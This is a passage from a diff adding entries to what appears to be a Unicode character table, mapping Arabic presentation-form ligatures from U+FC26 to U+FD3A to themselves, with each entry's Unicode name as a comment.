+ ["\uFC26", "\uFC26"], /* ARABIC LIGATURE TAH WITH HAH ISOLATED FORM */
+ ["\uFC27", "\uFC27"], /* ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM */
+ ["\uFC28", "\uFC28"], /* ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM */
+ ["\uFC29", "\uFC29"], /* ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM */
+ ["\uFC2A", "\uFC2A"], /* ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM */
+ ["\uFC2B", "\uFC2B"], /* ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM */
+ ["\uFC2C", "\uFC2C"], /* ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM */
+ ["\uFC2D", "\uFC2D"], /* ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM */
+ ["\uFC2E", "\uFC2E"], /* ARABIC LIGATURE FEH WITH HAH ISOLATED FORM */
+ ["\uFC2F", "\uFC2F"], /* ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM */
+ ["\uFC30", "\uFC30"], /* ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM */
+ ["\uFC31", "\uFC31"], /* ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC32", "\uFC32"], /* ARABIC LIGATURE FEH WITH YEH ISOLATED FORM */
+ ["\uFC33", "\uFC33"], /* ARABIC LIGATURE QAF WITH HAH ISOLATED FORM */
+ ["\uFC34", "\uFC34"], /* ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM */
+ ["\uFC35", "\uFC35"], /* ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC36", "\uFC36"], /* ARABIC LIGATURE QAF WITH YEH ISOLATED FORM */
+ ["\uFC37", "\uFC37"], /* ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM */
+ ["\uFC38", "\uFC38"], /* ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM */
+ ["\uFC39", "\uFC39"], /* ARABIC LIGATURE KAF WITH HAH ISOLATED FORM */
+ ["\uFC3A", "\uFC3A"], /* ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM */
+ ["\uFC3B", "\uFC3B"], /* ARABIC LIGATURE KAF WITH LAM ISOLATED FORM */
+ ["\uFC3C", "\uFC3C"], /* ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM */
+ ["\uFC3D", "\uFC3D"], /* ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC3E", "\uFC3E"], /* ARABIC LIGATURE KAF WITH YEH ISOLATED FORM */
+ ["\uFC3F", "\uFC3F"], /* ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM */
+ ["\uFC40", "\uFC40"], /* ARABIC LIGATURE LAM WITH HAH ISOLATED FORM */
+ ["\uFC41", "\uFC41"], /* ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM */
+ ["\uFC42", "\uFC42"], /* ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM */
+ ["\uFC43", "\uFC43"], /* ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC44", "\uFC44"], /* ARABIC LIGATURE LAM WITH YEH ISOLATED FORM */
+ ["\uFC45", "\uFC45"], /* ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM */
+ ["\uFC46", "\uFC46"], /* ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM */
+ ["\uFC47", "\uFC47"], /* ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM */
+ ["\uFC48", "\uFC48"], /* ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM */
+ ["\uFC49", "\uFC49"], /* ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC4A", "\uFC4A"], /* ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM */
+ ["\uFC4B", "\uFC4B"], /* ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM */
+ ["\uFC4C", "\uFC4C"], /* ARABIC LIGATURE NOON WITH HAH ISOLATED FORM */
+ ["\uFC4D", "\uFC4D"], /* ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM */
+ ["\uFC4E", "\uFC4E"], /* ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM */
+ ["\uFC4F", "\uFC4F"], /* ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC50", "\uFC50"], /* ARABIC LIGATURE NOON WITH YEH ISOLATED FORM */
+ ["\uFC51", "\uFC51"], /* ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM */
+ ["\uFC52", "\uFC52"], /* ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM */
+ ["\uFC53", "\uFC53"], /* ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC54", "\uFC54"], /* ARABIC LIGATURE HEH WITH YEH ISOLATED FORM */
+ ["\uFC55", "\uFC55"], /* ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM */
+ ["\uFC56", "\uFC56"], /* ARABIC LIGATURE YEH WITH HAH ISOLATED FORM */
+ ["\uFC57", "\uFC57"], /* ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM */
+ ["\uFC58", "\uFC58"], /* ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM */
+ ["\uFC59", "\uFC59"], /* ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC5A", "\uFC5A"], /* ARABIC LIGATURE YEH WITH YEH ISOLATED FORM */
+ ["\uFC5B", "\uFC5B"], /* ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC5C", "\uFC5C"], /* ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC5D", "\uFC5D"], /* ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC5E", "\uFC5E"], /* ARABIC LIGATURE SHADDA WITH DAMMATAN ISOLATED FORM */
+ ["\uFC5F", "\uFC5F"], /* ARABIC LIGATURE SHADDA WITH KASRATAN ISOLATED FORM */
+ ["\uFC60", "\uFC60"], /* ARABIC LIGATURE SHADDA WITH FATHA ISOLATED FORM */
+ ["\uFC61", "\uFC61"], /* ARABIC LIGATURE SHADDA WITH DAMMA ISOLATED FORM */
+ ["\uFC62", "\uFC62"], /* ARABIC LIGATURE SHADDA WITH KASRA ISOLATED FORM */
+ ["\uFC63", "\uFC63"], /* ARABIC LIGATURE SHADDA WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC64", "\uFC64"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM */
+ ["\uFC65", "\uFC65"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM */
+ ["\uFC66", "\uFC66"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM */
+ ["\uFC67", "\uFC67"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM */
+ ["\uFC68", "\uFC68"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC69", "\uFC69"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM */
+ ["\uFC6A", "\uFC6A"], /* ARABIC LIGATURE BEH WITH REH FINAL FORM */
+ ["\uFC6B", "\uFC6B"], /* ARABIC LIGATURE BEH WITH ZAIN FINAL FORM */
+ ["\uFC6C", "\uFC6C"], /* ARABIC LIGATURE BEH WITH MEEM FINAL FORM */
+ ["\uFC6D", "\uFC6D"], /* ARABIC LIGATURE BEH WITH NOON FINAL FORM */
+ ["\uFC6E", "\uFC6E"], /* ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC6F", "\uFC6F"], /* ARABIC LIGATURE BEH WITH YEH FINAL FORM */
+ ["\uFC70", "\uFC70"], /* ARABIC LIGATURE TEH WITH REH FINAL FORM */
+ ["\uFC71", "\uFC71"], /* ARABIC LIGATURE TEH WITH ZAIN FINAL FORM */
+ ["\uFC72", "\uFC72"], /* ARABIC LIGATURE TEH WITH MEEM FINAL FORM */
+ ["\uFC73", "\uFC73"], /* ARABIC LIGATURE TEH WITH NOON FINAL FORM */
+ ["\uFC74", "\uFC74"], /* ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC75", "\uFC75"], /* ARABIC LIGATURE TEH WITH YEH FINAL FORM */
+ ["\uFC76", "\uFC76"], /* ARABIC LIGATURE THEH WITH REH FINAL FORM */
+ ["\uFC77", "\uFC77"], /* ARABIC LIGATURE THEH WITH ZAIN FINAL FORM */
+ ["\uFC78", "\uFC78"], /* ARABIC LIGATURE THEH WITH MEEM FINAL FORM */
+ ["\uFC79", "\uFC79"], /* ARABIC LIGATURE THEH WITH NOON FINAL FORM */
+ ["\uFC7A", "\uFC7A"], /* ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC7B", "\uFC7B"], /* ARABIC LIGATURE THEH WITH YEH FINAL FORM */
+ ["\uFC7C", "\uFC7C"], /* ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC7D", "\uFC7D"], /* ARABIC LIGATURE FEH WITH YEH FINAL FORM */
+ ["\uFC7E", "\uFC7E"], /* ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC7F", "\uFC7F"], /* ARABIC LIGATURE QAF WITH YEH FINAL FORM */
+ ["\uFC80", "\uFC80"], /* ARABIC LIGATURE KAF WITH ALEF FINAL FORM */
+ ["\uFC81", "\uFC81"], /* ARABIC LIGATURE KAF WITH LAM FINAL FORM */
+ ["\uFC82", "\uFC82"], /* ARABIC LIGATURE KAF WITH MEEM FINAL FORM */
+ ["\uFC83", "\uFC83"], /* ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC84", "\uFC84"], /* ARABIC LIGATURE KAF WITH YEH FINAL FORM */
+ ["\uFC85", "\uFC85"], /* ARABIC LIGATURE LAM WITH MEEM FINAL FORM */
+ ["\uFC86", "\uFC86"], /* ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC87", "\uFC87"], /* ARABIC LIGATURE LAM WITH YEH FINAL FORM */
+ ["\uFC88", "\uFC88"], /* ARABIC LIGATURE MEEM WITH ALEF FINAL FORM */
+ ["\uFC89", "\uFC89"], /* ARABIC LIGATURE MEEM WITH MEEM FINAL FORM */
+ ["\uFC8A", "\uFC8A"], /* ARABIC LIGATURE NOON WITH REH FINAL FORM */
+ ["\uFC8B", "\uFC8B"], /* ARABIC LIGATURE NOON WITH ZAIN FINAL FORM */
+ ["\uFC8C", "\uFC8C"], /* ARABIC LIGATURE NOON WITH MEEM FINAL FORM */
+ ["\uFC8D", "\uFC8D"], /* ARABIC LIGATURE NOON WITH NOON FINAL FORM */
+ ["\uFC8E", "\uFC8E"], /* ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC8F", "\uFC8F"], /* ARABIC LIGATURE NOON WITH YEH FINAL FORM */
+ ["\uFC90", "\uFC90"], /* ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM */
+ ["\uFC91", "\uFC91"], /* ARABIC LIGATURE YEH WITH REH FINAL FORM */
+ ["\uFC92", "\uFC92"], /* ARABIC LIGATURE YEH WITH ZAIN FINAL FORM */
+ ["\uFC93", "\uFC93"], /* ARABIC LIGATURE YEH WITH MEEM FINAL FORM */
+ ["\uFC94", "\uFC94"], /* ARABIC LIGATURE YEH WITH NOON FINAL FORM */
+ ["\uFC95", "\uFC95"], /* ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC96", "\uFC96"], /* ARABIC LIGATURE YEH WITH YEH FINAL FORM */
+ ["\uFC97", "\uFC97"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM */
+ ["\uFC98", "\uFC98"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM */
+ ["\uFC99", "\uFC99"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM */
+ ["\uFC9A", "\uFC9A"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM */
+ ["\uFC9B", "\uFC9B"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM */
+ ["\uFC9C", "\uFC9C"], /* ARABIC LIGATURE BEH WITH JEEM INITIAL FORM */
+ ["\uFC9D", "\uFC9D"], /* ARABIC LIGATURE BEH WITH HAH INITIAL FORM */
+ ["\uFC9E", "\uFC9E"], /* ARABIC LIGATURE BEH WITH KHAH INITIAL FORM */
+ ["\uFC9F", "\uFC9F"], /* ARABIC LIGATURE BEH WITH MEEM INITIAL FORM */
+ ["\uFCA0", "\uFCA0"], /* ARABIC LIGATURE BEH WITH HEH INITIAL FORM */
+ ["\uFCA1", "\uFCA1"], /* ARABIC LIGATURE TEH WITH JEEM INITIAL FORM */
+ ["\uFCA2", "\uFCA2"], /* ARABIC LIGATURE TEH WITH HAH INITIAL FORM */
+ ["\uFCA3", "\uFCA3"], /* ARABIC LIGATURE TEH WITH KHAH INITIAL FORM */
+ ["\uFCA4", "\uFCA4"], /* ARABIC LIGATURE TEH WITH MEEM INITIAL FORM */
+ ["\uFCA5", "\uFCA5"], /* ARABIC LIGATURE TEH WITH HEH INITIAL FORM */
+ ["\uFCA6", "\uFCA6"], /* ARABIC LIGATURE THEH WITH MEEM INITIAL FORM */
+ ["\uFCA7", "\uFCA7"], /* ARABIC LIGATURE JEEM WITH HAH INITIAL FORM */
+ ["\uFCA8", "\uFCA8"], /* ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM */
+ ["\uFCA9", "\uFCA9"], /* ARABIC LIGATURE HAH WITH JEEM INITIAL FORM */
+ ["\uFCAA", "\uFCAA"], /* ARABIC LIGATURE HAH WITH MEEM INITIAL FORM */
+ ["\uFCAB", "\uFCAB"], /* ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM */
+ ["\uFCAC", "\uFCAC"], /* ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM */
+ ["\uFCAD", "\uFCAD"], /* ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM */
+ ["\uFCAE", "\uFCAE"], /* ARABIC LIGATURE SEEN WITH HAH INITIAL FORM */
+ ["\uFCAF", "\uFCAF"], /* ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM */
+ ["\uFCB0", "\uFCB0"], /* ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM */
+ ["\uFCB1", "\uFCB1"], /* ARABIC LIGATURE SAD WITH HAH INITIAL FORM */
+ ["\uFCB2", "\uFCB2"], /* ARABIC LIGATURE SAD WITH KHAH INITIAL FORM */
+ ["\uFCB3", "\uFCB3"], /* ARABIC LIGATURE SAD WITH MEEM INITIAL FORM */
+ ["\uFCB4", "\uFCB4"], /* ARABIC LIGATURE DAD WITH JEEM INITIAL FORM */
+ ["\uFCB5", "\uFCB5"], /* ARABIC LIGATURE DAD WITH HAH INITIAL FORM */
+ ["\uFCB6", "\uFCB6"], /* ARABIC LIGATURE DAD WITH KHAH INITIAL FORM */
+ ["\uFCB7", "\uFCB7"], /* ARABIC LIGATURE DAD WITH MEEM INITIAL FORM */
+ ["\uFCB8", "\uFCB8"], /* ARABIC LIGATURE TAH WITH HAH INITIAL FORM */
+ ["\uFCB9", "\uFCB9"], /* ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM */
+ ["\uFCBA", "\uFCBA"], /* ARABIC LIGATURE AIN WITH JEEM INITIAL FORM */
+ ["\uFCBB", "\uFCBB"], /* ARABIC LIGATURE AIN WITH MEEM INITIAL FORM */
+ ["\uFCBC", "\uFCBC"], /* ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM */
+ ["\uFCBD", "\uFCBD"], /* ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM */
+ ["\uFCBE", "\uFCBE"], /* ARABIC LIGATURE FEH WITH JEEM INITIAL FORM */
+ ["\uFCBF", "\uFCBF"], /* ARABIC LIGATURE FEH WITH HAH INITIAL FORM */
+ ["\uFCC0", "\uFCC0"], /* ARABIC LIGATURE FEH WITH KHAH INITIAL FORM */
+ ["\uFCC1", "\uFCC1"], /* ARABIC LIGATURE FEH WITH MEEM INITIAL FORM */
+ ["\uFCC2", "\uFCC2"], /* ARABIC LIGATURE QAF WITH HAH INITIAL FORM */
+ ["\uFCC3", "\uFCC3"], /* ARABIC LIGATURE QAF WITH MEEM INITIAL FORM */
+ ["\uFCC4", "\uFCC4"], /* ARABIC LIGATURE KAF WITH JEEM INITIAL FORM */
+ ["\uFCC5", "\uFCC5"], /* ARABIC LIGATURE KAF WITH HAH INITIAL FORM */
+ ["\uFCC6", "\uFCC6"], /* ARABIC LIGATURE KAF WITH KHAH INITIAL FORM */
+ ["\uFCC7", "\uFCC7"], /* ARABIC LIGATURE KAF WITH LAM INITIAL FORM */
+ ["\uFCC8", "\uFCC8"], /* ARABIC LIGATURE KAF WITH MEEM INITIAL FORM */
+ ["\uFCC9", "\uFCC9"], /* ARABIC LIGATURE LAM WITH JEEM INITIAL FORM */
+ ["\uFCCA", "\uFCCA"], /* ARABIC LIGATURE LAM WITH HAH INITIAL FORM */
+ ["\uFCCB", "\uFCCB"], /* ARABIC LIGATURE LAM WITH KHAH INITIAL FORM */
+ ["\uFCCC", "\uFCCC"], /* ARABIC LIGATURE LAM WITH MEEM INITIAL FORM */
+ ["\uFCCD", "\uFCCD"], /* ARABIC LIGATURE LAM WITH HEH INITIAL FORM */
+ ["\uFCCE", "\uFCCE"], /* ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM */
+ ["\uFCCF", "\uFCCF"], /* ARABIC LIGATURE MEEM WITH HAH INITIAL FORM */
+ ["\uFCD0", "\uFCD0"], /* ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM */
+ ["\uFCD1", "\uFCD1"], /* ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM */
+ ["\uFCD2", "\uFCD2"], /* ARABIC LIGATURE NOON WITH JEEM INITIAL FORM */
+ ["\uFCD3", "\uFCD3"], /* ARABIC LIGATURE NOON WITH HAH INITIAL FORM */
+ ["\uFCD4", "\uFCD4"], /* ARABIC LIGATURE NOON WITH KHAH INITIAL FORM */
+ ["\uFCD5", "\uFCD5"], /* ARABIC LIGATURE NOON WITH MEEM INITIAL FORM */
+ ["\uFCD6", "\uFCD6"], /* ARABIC LIGATURE NOON WITH HEH INITIAL FORM */
+ ["\uFCD7", "\uFCD7"], /* ARABIC LIGATURE HEH WITH JEEM INITIAL FORM */
+ ["\uFCD8", "\uFCD8"], /* ARABIC LIGATURE HEH WITH MEEM INITIAL FORM */
+ ["\uFCD9", "\uFCD9"], /* ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM */
+ ["\uFCDA", "\uFCDA"], /* ARABIC LIGATURE YEH WITH JEEM INITIAL FORM */
+ ["\uFCDB", "\uFCDB"], /* ARABIC LIGATURE YEH WITH HAH INITIAL FORM */
+ ["\uFCDC", "\uFCDC"], /* ARABIC LIGATURE YEH WITH KHAH INITIAL FORM */
+ ["\uFCDD", "\uFCDD"], /* ARABIC LIGATURE YEH WITH MEEM INITIAL FORM */
+ ["\uFCDE", "\uFCDE"], /* ARABIC LIGATURE YEH WITH HEH INITIAL FORM */
+ ["\uFCDF", "\uFCDF"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM */
+ ["\uFCE0", "\uFCE0"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM */
+ ["\uFCE1", "\uFCE1"], /* ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM */
+ ["\uFCE2", "\uFCE2"], /* ARABIC LIGATURE BEH WITH HEH MEDIAL FORM */
+ ["\uFCE3", "\uFCE3"], /* ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM */
+ ["\uFCE4", "\uFCE4"], /* ARABIC LIGATURE TEH WITH HEH MEDIAL FORM */
+ ["\uFCE5", "\uFCE5"], /* ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM */
+ ["\uFCE6", "\uFCE6"], /* ARABIC LIGATURE THEH WITH HEH MEDIAL FORM */
+ ["\uFCE7", "\uFCE7"], /* ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM */
+ ["\uFCE8", "\uFCE8"], /* ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM */
+ ["\uFCE9", "\uFCE9"], /* ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM */
+ ["\uFCEA", "\uFCEA"], /* ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM */
+ ["\uFCEB", "\uFCEB"], /* ARABIC LIGATURE KAF WITH LAM MEDIAL FORM */
+ ["\uFCEC", "\uFCEC"], /* ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM */
+ ["\uFCED", "\uFCED"], /* ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM */
+ ["\uFCEE", "\uFCEE"], /* ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM */
+ ["\uFCEF", "\uFCEF"], /* ARABIC LIGATURE NOON WITH HEH MEDIAL FORM */
+ ["\uFCF0", "\uFCF0"], /* ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM */
+ ["\uFCF1", "\uFCF1"], /* ARABIC LIGATURE YEH WITH HEH MEDIAL FORM */
+ ["\uFCF2", "\uFCF2"], /* ARABIC LIGATURE SHADDA WITH FATHA MEDIAL FORM */
+ ["\uFCF3", "\uFCF3"], /* ARABIC LIGATURE SHADDA WITH DAMMA MEDIAL FORM */
+ ["\uFCF4", "\uFCF4"], /* ARABIC LIGATURE SHADDA WITH KASRA MEDIAL FORM */
+ ["\uFCF5", "\uFCF5"], /* ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCF6", "\uFCF6"], /* ARABIC LIGATURE TAH WITH YEH ISOLATED FORM */
+ ["\uFCF7", "\uFCF7"], /* ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCF8", "\uFCF8"], /* ARABIC LIGATURE AIN WITH YEH ISOLATED FORM */
+ ["\uFCF9", "\uFCF9"], /* ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCFA", "\uFCFA"], /* ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM */
+ ["\uFCFB", "\uFCFB"], /* ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCFC", "\uFCFC"], /* ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM */
+ ["\uFCFD", "\uFCFD"], /* ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCFE", "\uFCFE"], /* ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM */
+ ["\uFCFF", "\uFCFF"], /* ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD00", "\uFD00"], /* ARABIC LIGATURE HAH WITH YEH ISOLATED FORM */
+ ["\uFD01", "\uFD01"], /* ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD02", "\uFD02"], /* ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM */
+ ["\uFD03", "\uFD03"], /* ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD04", "\uFD04"], /* ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM */
+ ["\uFD05", "\uFD05"], /* ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD06", "\uFD06"], /* ARABIC LIGATURE SAD WITH YEH ISOLATED FORM */
+ ["\uFD07", "\uFD07"], /* ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD08", "\uFD08"], /* ARABIC LIGATURE DAD WITH YEH ISOLATED FORM */
+ ["\uFD09", "\uFD09"], /* ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM */
+ ["\uFD0A", "\uFD0A"], /* ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM */
+ ["\uFD0B", "\uFD0B"], /* ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM */
+ ["\uFD0C", "\uFD0C"], /* ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM */
+ ["\uFD0D", "\uFD0D"], /* ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM */
+ ["\uFD0E", "\uFD0E"], /* ARABIC LIGATURE SEEN WITH REH ISOLATED FORM */
+ ["\uFD0F", "\uFD0F"], /* ARABIC LIGATURE SAD WITH REH ISOLATED FORM */
+ ["\uFD10", "\uFD10"], /* ARABIC LIGATURE DAD WITH REH ISOLATED FORM */
+ ["\uFD11", "\uFD11"], /* ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD12", "\uFD12"], /* ARABIC LIGATURE TAH WITH YEH FINAL FORM */
+ ["\uFD13", "\uFD13"], /* ARABIC LIGATURE AIN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD14", "\uFD14"], /* ARABIC LIGATURE AIN WITH YEH FINAL FORM */
+ ["\uFD15", "\uFD15"], /* ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD16", "\uFD16"], /* ARABIC LIGATURE GHAIN WITH YEH FINAL FORM */
+ ["\uFD17", "\uFD17"], /* ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD18", "\uFD18"], /* ARABIC LIGATURE SEEN WITH YEH FINAL FORM */
+ ["\uFD19", "\uFD19"], /* ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD1A", "\uFD1A"], /* ARABIC LIGATURE SHEEN WITH YEH FINAL FORM */
+ ["\uFD1B", "\uFD1B"], /* ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD1C", "\uFD1C"], /* ARABIC LIGATURE HAH WITH YEH FINAL FORM */
+ ["\uFD1D", "\uFD1D"], /* ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD1E", "\uFD1E"], /* ARABIC LIGATURE JEEM WITH YEH FINAL FORM */
+ ["\uFD1F", "\uFD1F"], /* ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD20", "\uFD20"], /* ARABIC LIGATURE KHAH WITH YEH FINAL FORM */
+ ["\uFD21", "\uFD21"], /* ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD22", "\uFD22"], /* ARABIC LIGATURE SAD WITH YEH FINAL FORM */
+ ["\uFD23", "\uFD23"], /* ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD24", "\uFD24"], /* ARABIC LIGATURE DAD WITH YEH FINAL FORM */
+ ["\uFD25", "\uFD25"], /* ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM */
+ ["\uFD26", "\uFD26"], /* ARABIC LIGATURE SHEEN WITH HAH FINAL FORM */
+ ["\uFD27", "\uFD27"], /* ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM */
+ ["\uFD28", "\uFD28"], /* ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM */
+ ["\uFD29", "\uFD29"], /* ARABIC LIGATURE SHEEN WITH REH FINAL FORM */
+ ["\uFD2A", "\uFD2A"], /* ARABIC LIGATURE SEEN WITH REH FINAL FORM */
+ ["\uFD2B", "\uFD2B"], /* ARABIC LIGATURE SAD WITH REH FINAL FORM */
+ ["\uFD2C", "\uFD2C"], /* ARABIC LIGATURE DAD WITH REH FINAL FORM */
+ ["\uFD2D", "\uFD2D"], /* ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM */
+ ["\uFD2E", "\uFD2E"], /* ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM */
+ ["\uFD2F", "\uFD2F"], /* ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM */
+ ["\uFD30", "\uFD30"], /* ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM */
+ ["\uFD31", "\uFD31"], /* ARABIC LIGATURE SEEN WITH HEH INITIAL FORM */
+ ["\uFD32", "\uFD32"], /* ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM */
+ ["\uFD33", "\uFD33"], /* ARABIC LIGATURE TAH WITH MEEM INITIAL FORM */
+ ["\uFD34", "\uFD34"], /* ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM */
+ ["\uFD35", "\uFD35"], /* ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM */
+ ["\uFD36", "\uFD36"], /* ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM */
+ ["\uFD37", "\uFD37"], /* ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM */
+ ["\uFD38", "\uFD38"], /* ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM */
+ ["\uFD39", "\uFD39"], /* ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM */
+ ["\uFD3A", "\uFD3A"], /* ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM */
